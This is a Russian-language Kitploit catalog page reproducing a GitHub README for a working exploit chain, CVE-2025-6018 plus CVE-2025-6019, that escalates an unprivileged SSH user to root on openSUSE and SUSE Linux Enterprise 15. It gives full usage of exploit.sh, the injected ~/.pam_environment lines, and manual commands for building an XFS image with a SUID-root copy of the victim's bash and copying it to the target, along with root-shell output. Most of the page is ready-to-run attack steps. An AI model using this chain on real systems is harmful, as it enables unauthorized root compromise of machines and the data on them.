Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-6018-6019 — CVE-2025-6018 CVE-2025-6019 PoC Exploit - Локальное повышение привилегий в openSUSE/SUSE Linux Enterprise 15 - PAM bypass + udisks2 XFS race condition LPE до root | Kitploit
Инструменты/GitHubGitHub/desertdemons/cve-2025-6018-6019
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHub

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
desertdemons/cve-2025-6018-6019

CVE-2025-6018-6019

CVE-2025-6018 CVE-2025-6019 PoC Exploit - Локальное повышение привилегий в openSUSE/SUSE Linux Enterprise 15 - PAM bypass + udisks2 XFS race condition LPE до root

Репозиторий
41147 месяцев назадЕщё не проверено

CVE-2025-6018 CVE-2025-6019 PoC Эксплойт

Локальное повышение привилегий (LPE) - openSUSE / SUSE Linux Enterprise 15

CVE-2025-6018 CVE-2025-6019 PoC Exploit License

Рабочий PoC/Эксплойт для CVE-2025-6018 и CVE-2025-6019 - Повышение привилегий от непривилегированного пользователя до root на openSUSE Leap 15.x и SUSE Linux Enterprise 15.x

🎯 Краткая сводка

ID CVEУязвимостьВоздействие
CVE-2025-6018Инъекция переменных окружения PAMОбход статуса allow_active polkit
CVE-2025-6019Состояние гонки при изменении размера XFS в udisks2/libblockdevОболочка root

Цепочка атаки

Непривилегированный пользователь SSH → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT

🔥 Демонстрация PoC

# Check vulnerability
./exploit.sh --check

# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup

# Reconnect SSH, then: su - $USER

# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img

# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)

📥 Установка

git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh

🎯 Поражённые системы

  • ✅ openSUSE Leap 15.0, 15.1, 15.2, 15.3, 15.4, 15.5, 15.6
  • ✅ SUSE Linux Enterprise Server (SLES) 15 SP1-SP6
  • ✅ SUSE Linux Enterprise Desktop (SLED) 15 SP1-SP6

⚠️ Примечание: openSUSE Leap 15.6 достигает конца жизненного цикла 30 апреля 2026 года. После этой даты обновления безопасности выпускаться не будут. Пользователям рекомендуется перейти на Leap 16.0 или SLES с расширенной поддержкой.

Уязвимые компоненты

  • PAM (Linux-PAM 1.3.0 - 1.6.0) с user_readenv=1
  • udisks2 2.9.x с libblockdev
  • polkit с allow_active: yes для действий udisks2

📖 Использование

Вариант 1: Проверка уязвимости

./exploit.sh --check

Вариант 2: Настройка обхода PAM (CVE-2025-6018)

./exploit.sh --setup
# Затем: выйти из SSH, переподключиться, выполнить: su - $USER

Вариант 3: Эксплойт (CVE-2025-6019)

./exploit.sh --exploit /tmp/xfs.img

Вариант 4: Полный автоматический режим

./exploit.sh --auto /tmp/xfs.img

Вариант 5: Показать инструкции по созданию образа

./exploit.sh --create-image

🛠️ Создание образа XFS с полезной нагрузкой

Запустите на МАШИНЕ АТАКУЮЩЕГО от root:

⚠️ Вы ОБЯЗАНЫ использовать двоичный файл /usr/bin/bash жертвы, а не ваш локальный. Двоичный файл bash из другого дистрибутива (Kali, Arch, Ubuntu и т.д.) не сработает на цели из-за несовместимости glibc/разделяемых библиотек — даже на той же архитектуре x86_64.

Использование вспомогательного скрипта (рекомендуется)

Скрипт автоматически определяет версию xfsprogs и применяет правильные флаги:

# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash

# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img

# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img

Создание вручную

sudo su -

# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash

# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt

# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl  # MUST show: -rwsr-xr-x

# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/

Совместимость формата XFS

Образ XFS должен быть отформатирован с флагами, совместимыми с ядром цели. Новые версии xfsprogs по умолчанию включают функции на диске, которые старые ядра SUSE не могут прочитать, что приводит к ошибкам wrong fs type, bad superblock при монтировании через udisks2.

ЦельЯдроКоманда mkfs.xfs
SUSE 15 SP5-SP65.14 / 6.4mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
SUSE 15 SP1-SP44.12 - 5.3mkfs.xfs -f -m crc=0,reflink=0 xfs.img

Почему? exchange и parent — это функции ядра 6.10+ (включены по умолчанию в xfsprogs 6.x). bigtime, inobtcount и nrext64 — функции ядра 5.10+. Команда совместимости для SP1-SP4 (-m crc=0,reflink=0) создаёт формат XFS V4 со всеми отключёнными современными функциями, который работает на всех SUSE 15 SP.

🔬 Технические подробности

CVE-2025-6018: Инъекция переменных окружения PAM

Уязвимость: Модуль pam_env PAM читает ~/.pam_environment с user_readenv=1 (по умолчанию в SUSE), что позволяет инъекцию переменных окружения.

Эксплойт: Установка XDG_SEAT=seat0 и XDG_VTNR=1 для обмана systemd-logind и получения привилегий allow_active polkit.

# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1

CVE-2025-6019: Состояние гонки при изменении размера XFS

Уязвимость: При изменении размера XFS через udisks2, libblockdev временно монтирует файловую систему без флага nosuid.

Эксплойт:

  1. Создать образ XFS с SUID root-бинарником
  2. Настроить loop-устройство
  3. Запустить изменение размера через D-Bus
  4. Успеть выполнить SUID-бинарник во время временного монтирования
  5. Получить оболочку root

📋 Полное пошаговое руководство по эксплуатации

Шаг 1: Проверка уязвимости

./exploit.sh --check

Вывод:

[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO

Шаг 2: Настройка обхода PAM

./exploit.sh --setup
exit
ssh user@target
su - $USER

Шаг 3: Проверка allow_active

./exploit.sh --check

Вывод:

[+] allow_active status: YES
    You have allow_active privileges!

Шаг 4: Передача образа XFS

# On attacker:
scp xfs.img user@target:/tmp/

Шаг 5: Эксплойт

./exploit.sh --exploit /tmp/xfs.img

Вывод:

[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...

=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

root@target#

🔧 Устранение неполадок

Скачать инструмент